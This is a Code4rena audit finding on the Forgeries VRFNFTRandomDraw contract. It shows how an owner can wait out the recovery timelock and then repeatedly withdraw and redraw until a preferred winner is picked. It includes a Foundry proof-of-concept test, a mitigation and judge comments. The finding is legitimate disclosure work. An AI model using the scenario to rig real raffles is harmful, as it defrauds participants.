The owner could possibliy withdraw his/her NFT before the winner claims it

[code423n4]

Lines of code

https://github.com/code-423n4/2022-12-forgeries/blob/main/src/VRFNFTRandomDraw.sol#L90-L92
https://github.com/code-423n4/2022-12-forgeries/blob/main/src/VRFNFTRandomDraw.sol#L173
https://github.com/code-423n4/2022-12-forgeries/blob/main/src/VRFNFTRandomDraw.sol#L203

Vulnerability details

Impact

The admin/owner can claim the NFT as a last resort by calling lastResortTimelockOwnerClaimNFT() after recoverTimelock passes which is at least one week.
https://github.com/code-423n4/2022-12-forgeries/blob/main/src/VRFNFTRandomDraw.sol#L90-L92

However, the owner can create one (or even multiple) VRFNFTRandomDraw, wait till the recoverTimelock passes (e.g. one week) before start using the raffles.
This way, the owner can withdraw the NFT during the raffle at any time since the only check we have in lastResortTimelockOwnerClaimNFT() is:

if (settings.recoverTimelock > block.timestamp) {
            // Stop the withdraw
            revert RECOVERY_IS_NOT_YET_POSSIBLE();
   }

https://github.com/code-423n4/2022-12-forgeries/blob/main/src/VRFNFTRandomDraw.sol#L306-L309

Let's have a look at the following scenario:

1. The owner creates a raffle, waits till the recoverTimelock passes (e.g. one week).
2. The owner starts the raffle by calling startDraw function.
3. When DiceRollComplete event is emitted, the owner checks if the chosenTokenId is favorable to them.
   • This can be done by:
     • reading the public struct IVRFNFTRandomDraw.CurrentRequest public request
     • OR asking their friend (or whoever they favor) to call winnerClaimNFT, if it fails then it's obvious, it's not their friend.
4. If the winner is not the desired one, the owner calls lastResortTimelockOwnerClaimNFT() to withdraw the NFT.
5. The owner waits for drawBufferTime (e.g. one hour).
6. The owner sends back the NFT to the contract.
7. The owner calls redraw to start the raffle again.
8. The owner repeats the same process till they get the desired result.

As you can see this makes the raffle unfair as opposed to what the docs says:

We want to raffle away a single NFT (token) based off of another NFT collection (or drawingToken) in a fair and trustless manner.

Proof of Concept

1. Please create a file named VRFNFTRandomDrawByPassTimeLock.t.sol under test directory and add the following code.:

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.16;

import "forge-std/Test.sol";
import "forge-std/console2.sol";

import {VRFCoordinatorV2Mock} from "@chainlink/contracts/src/v0.8/mocks/VRFCoordinatorV2Mock.sol";
import {VRFCoordinatorV2} from "@chainlink/contracts/src/v0.8/VRFCoordinatorV2.sol";
import {VRFNFTRandomDraw} from "../src/VRFNFTRandomDraw.sol";
import {VRFNFTRandomDrawFactory} from "../src/VRFNFTRandomDrawFactory.sol";

import {IOwnableUpgradeable} from "../src/ownable/IOwnableUpgradeable.sol";

import {IERC721EnumerableUpgradeable} from "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/IERC721EnumerableUpgradeable.sol";

import {IVRFNFTRandomDraw} from "../src/interfaces/IVRFNFTRandomDraw.sol";
import {IVRFNFTRandomDrawFactory} from "../src/interfaces/IVRFNFTRandomDrawFactory.sol";

import {MockNFT} from "./mocks/MockNFT.sol";
import {MockERC20} from "./mocks/MockERC20.sol";

contract VRFNFTRandomDrawTest is Test {
    MockNFT targetNFT;
    MockNFT drawingNFT;
    MockERC20 linkTokens;
    VRFNFTRandomDrawFactory factory;

    VRFCoordinatorV2Mock mockCoordinator;

    address user = address(0x2134);
    address admin = address(0x0132);

    uint64 subscriptionId;

    VRFNFTRandomDraw currentDraw;

    function setUp() public {
        vm.label(user, "USER");
        vm.label(admin, "ADMIN");

        subscriptionId = 1337;

        targetNFT = new MockNFT("target", "target");
        vm.label(address(targetNFT), "TargetNFT");
        drawingNFT = new MockNFT("drawing", "drawing");
        vm.label(address(drawingNFT), "DrawingNFT");
        linkTokens = new MockERC20("link", "link");
        vm.label(address(linkTokens), "LINK");

        mockCoordinator = new VRFCoordinatorV2Mock(0.1 ether, 1000);

        VRFNFTRandomDraw drawImpl = new VRFNFTRandomDraw(mockCoordinator);
        // Unproxied/unowned factory
        factory = new VRFNFTRandomDrawFactory(address(drawImpl));

        vm.prank(admin);
        subscriptionId = mockCoordinator.createSubscription();
    }

    // You could remove the fuzzing, to test one value eonly to see the chosenTokenId.
    function test_OwnerCanBypassTimeLock() public {
        
        uint256 minimumLockTime = 1 weeks + 1 seconds;

        address winner = address(0x1337);
        vm.startPrank(winner);
        // mint 10 NFTs only
        for (uint256 tokensCount = 0; tokensCount < 10; tokensCount++) {
            drawingNFT.mint();
        }
        vm.stopPrank();


        vm.startPrank(admin);
        targetNFT.mint();

        address consumerAddress = factory.makeNewDraw(
            IVRFNFTRandomDraw.Settings({
                token: address(targetNFT),
                tokenId: 0,
                drawingToken: address(drawingNFT),
                drawingTokenStartId: 0,
                drawingTokenEndId: 10,
                drawBufferTime: 1 hours,
                recoverTimelock: minimumLockTime,
                keyHash: bytes32(
                    0x79d3d8832d904592c0bf9818b621522c988bb8b0c05cdc3b15aea1b6e8db0c15
                ),
                subscriptionId: subscriptionId
            })
        );

        mockCoordinator.addConsumer(subscriptionId, consumerAddress);
        mockCoordinator.fundSubscription(subscriptionId, 100 ether);

        VRFNFTRandomDraw drawing = VRFNFTRandomDraw(consumerAddress);

        targetNFT.setApprovalForAll(consumerAddress, true);

        vm.warp(block.timestamp + minimumLockTime); 

        uint256 drawingId = drawing.startDraw();
        mockCoordinator.fulfillRandomWords(drawingId, consumerAddress);
        assertEq(targetNFT.balanceOf(admin), 0);
        assertEq(targetNFT.balanceOf(consumerAddress), 1);

        // the owner withdraws the NFT immeditaly if they don't like the result.
        drawing.lastResortTimelockOwnerClaimNFT();
        assertEq(targetNFT.balanceOf(admin), 1);
        assertEq(targetNFT.balanceOf(consumerAddress), 0);

        vm.warp(block.timestamp +  1 hours + 1 seconds); // the owner waits one hour
        targetNFT.transferFrom(admin,consumerAddress,0); // transfer token back to the contract
        assertEq(targetNFT.balanceOf(admin), 0);
        assertEq(targetNFT.balanceOf(consumerAddress), 1);
        drawing.redraw(); // can successfully redraw again

        vm.stopPrank();

    }


}

2. Then run the forge test command as follows:

forge test --match-path test/VRFNFTRandomDrawByPassTimeLock.t.sol -vv

It should be executed successfully.

Tools Used

Manual analysis

Recommended Mitigation Steps

Consider checking recoverTimelock upon startDraw and redraw . if the recoverTimelock is not greater than currentTime+drawBufferTime then disallow using the raffle. A new raffle (VRFNFTRandomDraw contract) has to be created if this is already expired (or you can add a function to renew the recoverTimelock to keep using the same contract).

[c4-judge]

gzeon-c4 marked the issue as duplicate of #146

[c4-judge]

gzeon-c4 marked the issue as satisfactory